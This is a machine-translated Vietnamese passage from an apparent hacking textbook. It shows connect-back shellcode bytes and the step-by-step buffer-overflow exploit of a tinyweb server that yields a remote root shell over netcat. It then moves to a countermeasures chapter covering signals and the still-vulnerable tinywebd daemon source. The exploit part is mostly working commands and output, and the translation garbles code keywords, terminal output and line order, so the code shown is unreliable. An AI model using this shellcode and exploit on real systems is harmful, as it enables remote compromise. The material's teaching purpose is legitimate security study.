00000010 96 6a 66 58 43 68 c0 a8 2a 48 66 68 7a 69 66 53 |.jfXCh..*HfhzifS|
00000020 89 e1 6a 10 51 56 89 e1 43 cd 80 87 f3 87 ce 49 |..j.QV..C......I|
00000030 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?..Iy...Rh//shh|
00000040 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80
|/bin..R..S....|
0000004e
người đọc@hacking:~/booksrc $ wc -c connectback_shell
78 kết nối lại vỏ
người đọc@hacking:~/booksrc $ echo $(( 544 - (4*16) - 78 ))
402
người đọc@hacking:~/booksrc $ gdb -q --batch -ex "p /x 0xbffff5c0 + 200"
$1 = 0xbffff688
người đọc@hacking:~/booksrc $
Vì độ lệch từ đầu bộ đệm đến địa chỉ trả về là 540 byte, tổng cộng phải ghi 544 byte để ghi đè
lên địa chỉ trả về bốn byte. Ghi đè địa chỉ trả về cũng cần phải được căn chỉnh đúng, vì
316 0x500
Machine Translated by Google
địa chỉ trả về sử dụng nhiều byte. Để đảm bảo căn chỉnh đúng, tổng của byte NOP sled và byte
shellcode phải chia hết cho bốn. Ngoài ra, bản thân shellcode phải nằm trong 500 byte đầu
tiên của lệnh ghi đè. Đây là ranh giới của bộ đệm phản hồi và bộ nhớ sau đó tương ứng với
các giá trị khác trên ngăn xếp có thể được ghi vào trước khi chúng ta thay đổi luồng điều
khiển của chương trình. Việc nằm trong các ranh giới này giúp tránh nguy cơ ghi đè ngẫu
nhiên vào shellcode, điều này chắc chắn sẽ dẫn đến sự cố. Lặp lại địa chỉ trả về 16 lần sẽ
tạo ra 64 byte, có thể được đặt ở cuối bộ đệm khai thác 544 byte và giữ shellcode an toàn
trong ranh giới của bộ đệm. Các byte còn lại ở đầu bộ đệm khai thác sẽ là NOP sled. Các phép
tính ở trên cho thấy một NOP sled 402 byte sẽ căn chỉnh đúng shellcode 78 byte và đặt nó an
toàn trong ranh giới của bộ đệm. Lặp lại địa chỉ trả về mong muốn 12 lần sẽ tạo khoảng cách
hoàn hảo giữa 4 byte cuối cùng của bộ đệm khai thác để ghi đè địa chỉ trả về đã lưu trên
ngăn xếp. Ghi đè địa chỉ trả về bằng 0xbffff688 sẽ trả về lệnh thực thi ngay giữa NOP sled,
đồng thời tránh các byte gần đầu bộ đệm, có thể bị hỏng. Các giá trị được tính toán này sẽ
được sử dụng trong khai thác sau, nhưng trước tiên shell kết nối lại cần một số vị trí để
kết nối lại. Trong đầu ra bên dưới, netcat được sử dụng để lắng nghe các kết nối đến trên
cổng 31337.
người đọc@hacking:~/booksrc $ nc -v -l -p 31337
đang nghe trên [bất kỳ] 31337 ...
Bây giờ, trong một thiết bị đầu cuối khác, các giá trị khai thác được tính toán có thể
được sử dụng để khai thác chương trình tinyweb từ xa.
Từ một cửa sổ Terminal khác
người đọc@hacking:~/booksrc $ (perl -e 'in "\x90"x402';
> cat connectback_shell;
> perl -e 'in "\x88\xf6\xff\xbf"x20 . "\r\n"') | nc -v 127.0.0.1 80
localhost [127.0.0.1] 80 (www) mở
Quay trở lại terminal ban đầu, shellcode đã kết nối trở lại với tiến trình netcat
đang lắng nghe trên cổng 31337. Điều này cung cấp quyền truy cập shell gốc từ xa.
người đọc@hacking:~/booksrc $ nc -v -l -p 31337
đang nghe trên [bất kỳ] 31337 ...
kết nối đến [192.168.42.72] từ hacking.local [192.168.42.72] 34391
ai đó
gốc rễ
Cấu hình mạng cho ví dụ này hơi khó hiểu vì cuộc tấn công hướng đến 127.0.0.1
và shellcode kết nối trở lại 192.168.42.72. Cả hai địa chỉ IP này đều định tuyến đến
cùng một nơi, nhưng 192.168.42.72 dễ sử dụng hơn trong shellcode so với 127.0.0.1. Vì địa
chỉ vòng lặp chứa hai byte null, nên địa chỉ phải được xây dựng trên ngăn xếp với
Mã vỏ 317
Machine Translated by Google
nhiều lệnh. Một cách để thực hiện điều này là ghi hai byte null vào ngăn xếp bằng
cách sử dụng một thanh ghi được đặt về 0. Tệp loopback_shell.s là phiên bản đã
sửa đổi của connectback_shell.s sử dụng địa chỉ vòng lặp là 127.0.0.1.
Sự khác biệt được thể hiện ở kết quả sau.
reader@hacking:~/booksrc $ diff connectback_shell.s loopback_shell.s 21c21,22 push DWORD
<
0x482aa8c0 ; Xây dựng cấu trúc sockaddr: Địa chỉ IP = 192.168.42.72
--> đẩy DWORD 0x01BBBB7f ; Xây dựng cấu trúc sockaddr: Địa chỉ IP = 127.0.0.1 > mov
WORD [esp+1], dx ; ghi đè BBBB bằng 0000 trong lần đẩy trước reader@hacking:~/booksrc $
Sau khi đẩy giá trị 0x01BBBB7f vào ngăn xếp, thanh ghi ESP sẽ trỏ đến phần đầu của DWORD này. Bằng
cách ghi WORD hai byte gồm các byte null tại ESP+1, hai byte ở giữa sẽ được ghi đè để tạo thành địa chỉ
trả về chính xác.
Hướng dẫn bổ sung này làm tăng kích thước của shellcode lên một vài byte,
nghĩa là NOP sled cũng cần được điều chỉnh cho bộ đệm khai thác. Các phép tính này
được hiển thị trong đầu ra bên dưới và chúng tạo ra NOP sled 397 byte. Khai thác này
sử dụng shellcode vòng lặp giả định rằng chương trình tinyweb đang chạy và một quy
trình netcat đang lắng nghe các kết nối đến trên cổng 31337.
reader@hacking:~/booksrc $ nasm loopback_shell.s
reader@hacking:~/booksrc $ hexdump -C loopback_shell | grep --color=auto 00
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....| 00000010 96 6a 66
58 43 68 7f bb bb 01 66 89 54 24 01 66 |.jfXCh....fT$.f| 00000020 68 7a 69 66 53 89 e1 6a 10
51 56 89 e1 43 cd 80 |hzifS..j.QV..C..| 00000030 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 0b 52
68 |....Tôi?..Tôi...Rh| 00000040 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 53 89 |//shh/
bin..R..S.| 00000050 e1 cd 80 00000053 reader@hacking:~/booksrc $ wc -c loopback_shell 83
loopback_shell
|...|
reader@hacking:~/booksrc $ echo $(( 544 - (4*16) - 83 ))
397
người đọc@hacking:~/booksrc $ (perl -e 'print "\x90"x397';cat loopback_shell;perl -e 'print "\x88\
xf6\xff\xbf"x16 . "\r\n"') | nc -v 127.0.0.1 80
localhost [127.0.0.1] 80 (www) mở
Tương tự như lần khai thác trước, thiết bị đầu cuối có netcat đang lắng
nghe trên cổng 31337 sẽ nhận được rootshell.
người đọc@hacking:~ $ nc -vlp 31337
đang nghe trên [bất kỳ] 31337 ...
kết nối đến [127.0.0.1] từ máy chủ cục bộ [127.0.0.1] 42406
ai đó
gốc rễ
Có vẻ như quá dễ phải không?
318 0x500
Machine Translated by Google
0x600
BIỆN PHÁP ĐỐI PHÓ
Ếch phi tiêu độc vàng tiết ra một loại chất độc cực độc—
một con ếch có thể tiết ra đủ để giết chết 10 người
trưởng thành. Lý do duy nhất khiến những con ếch này có
khả năng phòng thủ mạnh mẽ đáng kinh ngạc như vậy là vì một
loài rắn nhất định đã ăn chúng và phát triển khả năng kháng thuốc.
Để đáp trả, loài ếch tiếp tục phát triển các loại chất độc ngày càng mạnh hơn để phòng thủ. Một kết
quả của quá trình đồng tiến hóa này là loài ếch an toàn trước mọi loài săn mồi khác. Kiểu đồng tiến
hóa này cũng xảy ra với tin tặc. Các kỹ thuật khai thác của chúng đã tồn tại trong nhiều năm, vì vậy,
việc các biện pháp đối phó phòng thủ phát triển là điều tự nhiên. Để đáp trả, tin tặc tìm cách vượt
qua và phá hoại các biện pháp phòng thủ này, sau đó các kỹ thuật phòng thủ mới được tạo ra.
Chu kỳ đổi mới này thực sự khá có lợi. Mặc dù virus và sâu có thể gây ra khá nhiều rắc rối và gián
đoạn tốn kém cho doanh nghiệp, chúng buộc phải có phản ứng, giúp khắc phục vấn đề. Sâu nhân bản bằng
cách khai thác các lỗ hổng hiện có trong phần mềm bị lỗi. Thông thường, những lỗ hổng này không được
phát hiện trong nhiều năm, nhưng những con sâu tương đối lành tính như CodeRed hoặc Sasser buộc phải
khắc phục những vấn đề này. Cũng giống như bệnh thủy đậu, tốt hơn là nên chịu đựng
Machine Translated by Google
bùng phát nhỏ sớm thay vì nhiều năm sau đó khi nó có thể gây ra thiệt hại thực sự.
Nếu không có sâu Internet làm cho những lỗ hổng bảo mật này trở thành trò hề công
khai, chúng có thể vẫn chưa được vá, khiến chúng ta dễ bị tấn công từ những kẻ có mục
đích xấu hơn là chỉ sao chép. Theo cách này, sâu và vi-rút thực sự có thể tăng cường
bảo mật trong thời gian dài. Tuy nhiên, có nhiều cách chủ động hơn để tăng cường bảo
mật. Có những biện pháp đối phó phòng thủ cố gắng vô hiệu hóa tác động của một cuộc
tấn công hoặc ngăn chặn cuộc tấn công xảy ra. Một biện pháp đối phó là một khái niệm
khá trừu tượng; đây có thể là một sản phẩm bảo mật, một tập hợp các chính sách, một
chương trình hoặc chỉ đơn giản là một quản trị viên hệ thống chú ý. Các biện pháp đối
phó phòng thủ này có thể được chia thành hai nhóm: nhóm cố gắng phát hiện cuộc tấn
công và nhóm cố gắng bảo vệ lỗ hổng.
0x610 Biện pháp đối phó phát hiện
Nhóm biện pháp đối phó đầu tiên cố gắng phát hiện sự xâm nhập và phản ứng theo một
cách nào đó. Quá trình phát hiện có thể là bất cứ điều gì từ việc quản trị viên đọc
nhật ký đến một chương trình đánh hơi mạng. Phản ứng có thể bao gồm việc tự động hủy
kết nối hoặc quy trình hoặc chỉ cần quản trị viên kiểm tra mọi thứ từ bảng điều
khiển của máy.
Là một quản trị viên hệ thống, các khai thác mà bạn biết không nguy hiểm bằng các khai thác mà
bạn không biết. Phát hiện xâm nhập càng sớm thì càng có thể xử lý sớm và có khả năng ngăn chặn được.
Các xâm nhập không được phát hiện trong nhiều tháng có thể là nguyên nhân gây lo ngại.
Cách phát hiện xâm nhập là dự đoán những gì tin tặc tấn công sẽ làm. Nếu bạn biết
điều đó, thì bạn biết phải tìm kiếm điều gì. Các biện pháp đối phó phát hiện có thể
tìm kiếm các mẫu tấn công này trong các tệp nhật ký, gói mạng hoặc thậm chí là bộ
nhớ chương trình. Sau khi phát hiện xâm nhập, tin tặc có thể bị xóa khỏi hệ thống,
bất kỳ thiệt hại nào về hệ thống tệp có thể được hoàn tác bằng cách khôi phục từ bản
sao lưu và lỗ hổng bị khai thác có thể được xác định và vá. Các biện pháp đối phó
phát hiện khá mạnh mẽ trong thế giới điện tử với khả năng sao lưu và khôi phục.
Đối với kẻ tấn công, điều này có nghĩa là khả năng phát hiện có thể chống lại mọi hành động của kẻ đó.
Vì việc phát hiện có thể không phải lúc nào cũng diễn ra ngay lập tức, nên có một số
tình huống "đập và lấy" mà điều này không quan trọng; tuy nhiên, ngay cả khi đó, tốt
hơn là không nên để lại dấu vết. Tàng hình là một trong những tài sản có giá trị nhất
của tin tặc. Khai thác một chương trình dễ bị tấn công để có được root shell có nghĩa
là bạn có thể làm bất cứ điều gì bạn muốn trên hệ thống đó, nhưng tránh bị phát hiện
cũng có nghĩa là không ai biết bạn ở đó. Sự kết hợp giữa "chế độ God" và tàng hình
tạo nên một tin tặc nguy hiểm. Từ một vị trí ẩn náu, mật khẩu và dữ liệu có thể bị
đánh hơi một cách lặng lẽ từ mạng, các chương trình có thể bị xâm nhập và các cuộc
tấn công tiếp theo có thể được thực hiện trên các máy chủ khác. Để ẩn mình, bạn chỉ
cần dự đoán các phương pháp phát hiện có thể được sử dụng. Nếu bạn biết họ đang tìm
kiếm điều gì, bạn có thể tránh một số kiểu khai thác nhất định hoặc bắt chước các kiểu hợp lệ.
Chu kỳ đồng tiến hóa giữa ẩn náu và phát hiện được thúc đẩy bằng việc nghĩ đến những
điều mà phía bên kia chưa nghĩ tới.
320 0x600
Machine Translated by Google
0x620 Hệ thống Daemon
Để có một cuộc thảo luận thực tế về các biện pháp đối phó khai thác và các phương pháp
bỏ qua, trước tiên chúng ta cần một mục tiêu khai thác thực tế. Một mục tiêu từ xa
sẽ là một chương trình máy chủ chấp nhận các kết nối đến. Trong Unix, các chương
trình này thường là daemon hệ thống. Daemon là một chương trình chạy ở chế độ nền
và tách khỏi thiết bị đầu cuối điều khiển theo một cách nhất định. Thuật ngữ daemon
lần đầu tiên được đặt ra bởi các tin tặc MIT vào những năm 1960. Nó đề cập đến
một con quỷ phân loại phân tử từ một thí nghiệm tư duy năm 1867 của một nhà vật lý
tên là James Maxwell. Trong thí nghiệm tư duy, con quỷ của Maxwell là một sinh vật
có khả năng siêu nhiên để thực hiện các nhiệm vụ khó khăn một cách dễ dàng, rõ
ràng là vi phạm định luật thứ hai của nhiệt động lực học. Tương tự như vậy, trong
Linux, daemon hệ thống không biết mệt mỏi thực hiện các nhiệm vụ như cung cấp dịch
vụ SSH và lưu nhật ký hệ thống. Các chương trình daemon thường kết thúc bằng chữ d để
biểu thị chúng là daemon, chẳng hạn như sshd hoặc syslogd.
Với một vài bổ sung, mã tinyweb.c trên trang 214 có thể được tạo thành một daemon
hệ thống thực tế hơn. Mã mới này sử dụng lệnh gọi hàm daemon() , hàm này sẽ tạo ra một
tiến trình nền mới. Hàm này được nhiều tiến trình daemon hệ thống sử dụng trong
Linux và trang hướng dẫn của nó được hiển thị bên dưới.
QUỶ(3)
Sổ tay lập trình Linux
QUỶ(3)
TÊN
daemon - chạy trong nền
TÓM TẮT
#include <unistd.h>
int daemon(int nochdir, int noclose);
SỰ MIÊU TẢ
Hàm daemon() dành cho các chương trình muốn tách khỏi thiết bị đầu cuối điều khiển
và chạy ở chế độ nền như daemon hệ thống.
Trừ khi đối số nochdir khác không, daemon() sẽ thay đổi thư mục làm việc hiện tại
thành thư mục gốc ("/").
Trừ khi đối số noclose khác không, daemon() sẽ chuyển hướng đầu vào chuẩn, đầu ra
chuẩn và lỗi chuẩn tới /dev/null.
GIÁ TRỊ TRẢ VỀ
(Hàm này phân nhánh, và nếu fork() thành công, hàm cha sẽ thực hiện _exit(0), do đó
các lỗi tiếp theo chỉ được nhìn thấy bởi hàm con.) Khi thành công, số không sẽ được
trả về. Nếu xảy ra lỗi, daemon() trả về -1 và đặt biến toàn cục errno thành bất kỳ
lỗi nào được chỉ định cho các hàm thư viện fork(2) và setsid(2).
Biện pháp đối phó 321
Machine Translated by Google
Daemon hệ thống chạy tách biệt khỏi terminal điều khiển, do đó mã daemon
tinyweb mới ghi vào tệp nhật ký. Nếu không có terminal điều khiển, daemon hệ
thống thường được điều khiển bằng tín hiệu. Chương trình daemon tinyweb mới sẽ
cần bắt tín hiệu kết thúc để có thể thoát sạch khi bị tắt.
0x621 Khóa học cấp tốc về tín hiệu
Signals cung cấp một phương pháp giao tiếp giữa các tiến trình trong Unix. Khi một
tiến trình nhận được một tín hiệu, luồng thực thi của tiến trình đó sẽ bị hệ điều
hành ngắt để gọi một trình xử lý tín hiệu. Signals được xác định bằng một số và mỗi
tín hiệu có một trình xử lý tín hiệu mặc định. Ví dụ, khi CTRL-C được nhập vào
terminal điều khiển của chương trình, một tín hiệu ngắt sẽ được gửi đi, có một trình
xử lý tín hiệu mặc định thoát khỏi chương trình. Điều này cho phép chương trình bị
ngắt, ngay cả khi nó bị kẹt trong một vòng lặp vô hạn.
Trình xử lý tín hiệu tùy chỉnh có thể được đăng ký bằng hàm signal() .
Trong mã ví dụ bên dưới, một số trình xử lý tín hiệu được đăng ký cho một số tín
hiệu nhất định, trong khi mã chính chứa một vòng lặp vô hạn.
tín hiệu_ví dụ.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h> /*
Một số định nghĩa tín hiệu được gắn nhãn từ signal.h 1
* #define SIGHUP *
Gác máy 2
#define SIGINT *
Ngắt (Ctrl-C)
#define SIGQUIT *
3 Thoát (Ctrl-\)
#define SIGILL *
4 Hướng dẫn bất hợp pháp 5 Bẫy
#define SIGTRAP *
theo dõi/điểm dừng 6 Quá trình bị
#define SIGABRT *
hủy bỏ
#define SIGBUS
7 Lỗi xe buýt
* #định nghĩa SIGFPE
8 Lỗi dấu phẩy động
* #định nghĩa SIGKILL
9 Giết
* #định nghĩa SIGUSR1
10 Tín hiệu do người dùng xác định 1
* #định nghĩa SIGSEGV
11 Lỗi phân đoạn
* #define SIGUSR2 *
12 Tín hiệu do người dùng xác định 2
#define SIGPIPE *
13 Viết vào đường ống mà không có ai đọc
#define SIGALRM *
14 Báo thức đếm ngược được thiết lập bởi alarm()
#define SIGTERM
15 Chấm dứt (gửi bằng lệnh kill)
* #định nghĩa SIGCHLD
17 Tín hiệu tiến trình con
* #định nghĩa SIGCONT
18 Tiếp tục nếu dừng lại
* #định nghĩa SIGSTOP
19 Dừng (tạm dừng thực hiện)
* #định nghĩa SIGTSTP
20 Dừng thiết bị đầu cuối [tạm dừng] (Ctrl-Z)
* #định nghĩa SIGTTIN
21 Quá trình nền đang cố gắng đọc stdin
* #định nghĩa SIGTTOU
22 Quá trình nền đang cố gắng đọc stdout
*/
/* Một trình xử lý tín hiệu
*/ void signal_handler(int signal) {
322 0x600
Machine Translated by Google
printf("Đã bắt được tín hiệu %d\t", tín hiệu);
nếu (tín hiệu == SIGTSTP)
printf("SIGTSTP (Ctrl-Z)");
nếu không thì nếu (tín hiệu == SIGQUIT)
printf("SIGQUIT (Ctrl-\\)");
nếu không thì nếu (tín hiệu ==
SIGUSR1)
printf("SIGUSR1"); nếu không thì
nếu (tín hiệu ==
SIGUSR2) printf("SIGUSR2"); printf("\n");
}
void sigint_handler(int x)
{ printf("Đã bắt được lệnh Ctrl-C (SIGINT) trong trình xử lý riêng\nĐang thoát.\n"); exit(0);
}
int main() { /*
Đăng ký trình xử lý tín hiệu */
signal(SIGQUIT, signal_handler); // Đặt signal_handler() làm signal(SIGTSTP,
signal_handler); // trình xử lý tín hiệu cho các signal(SIGUSR1,
signal_handler); // signals.signal(SIGUSR2, signal_handler);
signal(SIGINT, sigint_handler); // Đặt sigint_handler() cho SIGINT.
while(1) {} // Lặp mãi mãi.
}
Khi chương trình này được biên dịch và thực thi, các trình xử lý tín hiệu được
đăng ký và chương trình sẽ đi vào vòng lặp vô hạn. Mặc dù chương trình bị kẹt trong vòng
lặp, các tín hiệu đến sẽ ngắt quá trình thực thi và gọi các trình xử lý tín hiệu đã
đăng ký. Trong đầu ra bên dưới, các tín hiệu có thể được kích hoạt từ thiết bị đầu cuối
điều khiển được sử dụng. Hàm signal_handler() khi hoàn tất sẽ đưa lệnh thực thi
trở lại vòng lặp bị ngắt, trong khi hàm sigint_handler() thoát khỏi chương trình.
reader@hacking:~/booksrc $ gcc -o signal_example signal_example.c reader@hacking:~/
booksrc $ ./signal_example
Đã bắt được tín hiệu 20 SIGTSTP (Ctrl-Z)
Đã bắt được tín hiệu 3 SIGQUIT (Ctrl-\)
Đã bắt được lệnh Ctrl-C (SIGINT) trong trình xử lý riêng biệt
Đang thoát.
người đọc@hacking:~/booksrc $
Có thể gửi tín hiệu cụ thể đến một tiến trình bằng lệnh kill . Theo mặc định,
lệnh kill sẽ gửi tín hiệu kết thúc (SIGTERM) đến một tiến trình.
Với lệnh chuyển đổi dòng lệnh -l , kill sẽ liệt kê tất cả các tín hiệu có thể. Trong
đầu ra bên dưới, các tín hiệu SIGUSR1 và SIGUSR2 được gửi đến chương trình signal_example
đang được thực thi trong một thiết bị đầu cuối khác.
Biện pháp đối phó 323
Machine Translated by Google
reader@hacking:~/booksrc $ kill -l 1)
SIGHUP 2) SIGINT 3) SIGQUIT 5) SIGTRAP 6) SIGABRT
4) DẤU HIỆU
8) SIGFPE
7) SIGBUS 9) SIGKILL 10) SIGUSR1 11) SIGSEGV
13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD
12) SIGUSR2
18) SIGCONT 19) SIGSTOP 21) SIGTTIN 22) SIGTTOU
16) SIGSTKFLT
23) SIGURG 25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF
20) SIGTSTP
29) SIGIO 30) SIGPWR 31) SIGSYS 35) SIGRTMIN+1
24) SIGXCPU
36) SIGRTMIN+2 37) SIGRTMIN+3 38) SIGRTMIN+4 39)
28) SIGWINCH
SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42)
34) SIGRTMIN
SIGRTMIN+8 43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12
47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51)
SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9
56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4
61) SIGRTMAX-3 62) SIGRTMAX-2 63) SIGRTMAX-1 64) SIGRTMAX reader@hacking:~/
booksrc $ ps a | grep signal_example 24491 điểm/3 0:17 ./signal_example
24512 điểm/1 0:00 grep signal_example reader@hacking:~/booksrc $ kill
-10 24491 reader@hacking:~/
booksrc $ giết -12 24491
R+
S+
reader@hacking:~/booksrc $ giết -9 24491
người đọc@hacking:~/booksrc $
Cuối cùng, tín hiệu SIGKILL được gửi bằng lệnh kill -9. Trình xử lý tín hiệu
này không thể thay đổi, do đó lệnh kill -9 luôn có thể được sử dụng để giết các
tiến trình. Trong terminal khác, lệnh signal_example đang chạy hiển thị các tín
hiệu khi chúng bị bắt và tiến trình bị giết.
reader@hacking:~/booksrc $ ./signal_example Đã bắt được tín
hiệu 10 Đã bắt được
tín hiệu 12 Đã giết
SIGUSR1
SIGUSR2
reader@hacking:~/booksrc $
Bản thân các tín hiệu khá đơn giản; tuy nhiên, giao tiếp giữa các tiến trình
có thể nhanh chóng trở thành một mạng lưới phụ thuộc phức tạp. May mắn thay, trong
daemon tinyweb mới, các tín hiệu chỉ được sử dụng để chấm dứt sạch, do đó việc
triển khai rất đơn giản.
0x622 Trình nền Tinyweb
Phiên bản mới hơn của chương trình tinyweb này là một daemon hệ thống chạy ở chế độ
nền mà không cần thiết bị đầu cuối điều khiển. Nó ghi đầu ra của mình vào tệp nhật
ký có dấu thời gian và lắng nghe tín hiệu kết thúc (SIGTERM) để có thể tắt sạch khi
bị tắt.
Những bổ sung này khá nhỏ, nhưng chúng cung cấp mục tiêu khai thác thực tế hơn nhiều. Các phần mới
của mã được hiển thị bằng chữ in đậm trong danh sách bên dưới.
324 0x600
Machine Translated by Google
tinywebd.c
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <time.h>
#include <signal.h>
#include "hacking.h"
#include "hacking-network.h"
#define PORT 80 // Người dùng cổng sẽ kết nối tới #define WEBROOT "./
webroot" // Thư mục gốc của máy chủ web #define LOGFILE "/var/log/
tinywebd.log" // Tên tệp nhật ký
int logfd, sockfd; // Mô tả tệp nhật ký và ổ cắm toàn cục void
handle_connection(int, struct sockaddr_in *, int); int
get_file_size(int); // Trả về kích thước tệp của mô tả tệp đang mở void timestamp(int); //
Ghi dấu thời gian vào mô tả tệp đang mở
// Hàm này được gọi khi tiến trình bị tắt. void handle_shutdown(int
signal) { timestamp(logfd); write(logfd,
"Đang tắt.\n", 16);
close(logfd); close(sockfd); exit(0);
}
int main(void)
{ int new_sockfd, yes=1;
struct sockaddr_in host_addr, client_addr; // Thông tin địa chỉ của tôi socklen_t
sin_size;
logfd = open(LOGFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); if(logfd == -1)
fatal("đang mở
tệp nhật ký");
nếu ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("trong socket");
nếu (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) fatal("cài đặt
tùy chọn ổ cắm SO_REUSEADDR");
printf("Đang khởi động trình nền web nhỏ.\n");
if(daemon(1, 0) == -1) // Chuyển sang tiến trình nền nền.
fatal("phân nhánh sang tiến trình daemon");
signal(SIGTERM, handle_shutdown); // Gọi handle_shutdown khi bị tắt.
signal(SIGINT, handle_shutdown); // Gọi handle_shutdown khi bị gián đoạn.
dấu thời gian(logfd);
Biện pháp đối phó 325
Machine Translated by Google
write(logfd, "Đang khởi động.\n", 15);
host_addr.sin_family = AF_INET; // Thứ tự byte của máy chủ
host_addr.sin_port = htons(PORT); // Ngắn, thứ tự byte mạng
host_addr.sin_addr.s_addr = INADDR_ANY; // Tự động điền bằng IP của tôi.
memset(&(host_addr.sin_zero), '\0', 8); // Đặt phần còn lại của struct về 0.
nếu (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)
fatal("liên kết với ổ cắm");
nếu (lắng nghe(sockfd, 20) == -1)
fatal("đang lắng nghe trên socket");
while(1) { // Vòng lặp chấp
nhận. sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd
== -1) fatal("đang chấp
nhận kết nối");
xử lý_kết_nối(sockfd_mới, &client_addr, logfd);
} trả về 0;
}
/* Hàm này xử lý kết nối trên socket đã truyền từ địa chỉ máy khách đã truyền và ghi vào FD đã
*
*
truyền. Kết nối được xử lý như một yêu cầu web và hàm này trả lời qua socket đã kết nối.
Cuối cùng, socket đã truyền được đóng lại khi kết thúc hàm. */
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
unsigned char *ptr, yêu cầu[500], tài nguyên[500], bộ đệm nhật ký[500]; int fd,
độ dài;
chiều dài = recv_line(sockfd, yêu cầu);
sprintf(log_buffer, "Từ %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr>sin_port), yêu cầu);
ptr = strstr(request, " HTTP/"); // Tìm kiếm yêu cầu có vẻ hợp lệ. if(ptr == NULL)
{ // Vậy thì đây không phải là HTTP hợp lệ strcat(log_buffer,
KHÔNG PHẢI HTTP!
"
\n"); }
else { *ptr = 0; // Kết thúc bộ đệm ở cuối URL. ptr = NULL; // Đặt
ptr thành NULL (được sử dụng để đánh dấu yêu cầu không hợp lệ). if(strncmp(request,
"GET ", 4) == 0) // Nhận yêu cầu ptr = request+4; // ptr là URL.
if(strncmp(request, "HEAD ", 5) == 0) // Yêu cầu Head
ptr = request+5; // ptr là URL. if(ptr ==
NULL) { // Vậy thì đây không phải là yêu cầu được nhận dạng
strcat(log_buffer, "
YÊU CẦU KHÔNG XÁC ĐỊNH!\n");
} else { // Yêu cầu hợp lệ, với ptr trỏ đến tên tài nguyên
if (ptr[strlen(ptr) - 1] == '/') // Đối với các tài nguyên có đuôi là '/', strcat(ptr,
"index.html"); // thêm 'index.html' vào cuối. strcpy(resource, WEBROOT); // Bắt đầu
tài nguyên với đường dẫn gốc web strcat(resource, ptr); // và nối nó với đường dẫn tài
nguyên. fd = open(resource, O_RDONLY, 0); // Thử mở tệp.
326 0x600
Machine Translated by Google
if(fd == -1) { // Nếu không tìm thấy tệp
strcat(log_buffer, "
404 Không tìm thấy\n");
send_string(sockfd, "HTTP/1.0 404 KHÔNG TÌM THẤY\r\n");
send_string(sockfd, "Máy chủ: Máy chủ web nhỏ\r\n\r\n");
send_string(sockfd, "<html><head><title>404 Không tìm thấy</title></head>");
send_string(sockfd, "<body><h1>URL không tìm thấy</h1></body></html>\r\n"); } else { //
Nếu không, hãy phục vụ tệp. strcat(log_buffer, "
200 OK\n");
send_string(sockfd, "HTTP/1.0 200 OK\r\n");
send_string(sockfd, "Máy chủ: Máy chủ web nhỏ\r\n\r\n");
if(ptr == request + 4) { // Sau đó, đây là yêu cầu GET
if( (length = get_file_size(fd)) == -1)
fatal("lấy kích thước tệp tài nguyên");
if( (ptr = (unsigned char *) malloc(length)) == NULL)
fatal("phân bổ bộ nhớ để đọc tài nguyên"); read(fd,
ptr, length); // Đọc tệp vào bộ nhớ. send(sockfd, ptr,
length, 0); // Gửi đến socket. free(ptr); // Giải phóng bộ
nhớ tệp.
} close(fd); // Đóng tệp.
} // Kết thúc nếu tìm thấy/không tìm thấy khối tìm kiếm tệp.
} // Kết thúc khối if cho yêu cầu hợp lệ.
} // Kết thúc khối cho HTTP hợp lệ.
timestamp(logfd);
length = strlen(log_buffer);
write(logfd, log_buffer, length); // Ghi vào nhật ký.
shutdown(sockfd, SHUT_RDWR); // Đóng socket một cách nhẹ nhàng.
}
/* Hàm này chấp nhận một mô tả tệp mở và trả về * kích thước của tệp được liên kết.
Trả về -1 nếu không thành công. */ int get_file_size(int fd) { struct stat
stat_struct;
nếu(fstat(fd, &stat_struct) == -1)
trả về -1;
trả về (int) stat_struct.st_size;
}
/* Hàm này ghi một chuỗi dấu thời gian vào mô tả tệp đang mở
*
được chuyển cho
nó. */
void timestamp(fd)
{ time_t
hiện tại; struct tm
*time_struct;
int độ dài; char time_buffer[40];
time(&now); // Lấy số giây kể từ epoch. time_struct =
localtime((const time_t *)&now); // Chuyển đổi sang tm struct. length =
strftime(time_buffer, 40, "%m/%d/%Y %H:%M:%S> ", time_struct); write(fd,
time_buffer, length); // Ghi chuỗi dấu thời gian vào nhật ký.
}
Biện pháp đối phó 327
Machine Translated by Google
Chương trình daemon này fork vào nền, ghi vào tệp nhật ký có dấu thời gian
và thoát sạch sẽ khi bị giết. Mô tả tệp nhật ký và ổ cắm nhận kết nối được khai
báo là toàn cục để chúng có thể được đóng sạch sẽ bằng hàm handle_shutdown() .
Hàm này được thiết lập làm trình xử lý gọi lại cho các tín hiệu kết thúc và ngắt,
cho phép chương trình thoát một cách bình thường khi bị giết bằng lệnh kill .
Đầu ra bên dưới hiển thị chương trình được biên dịch, thực thi và kết thúc.
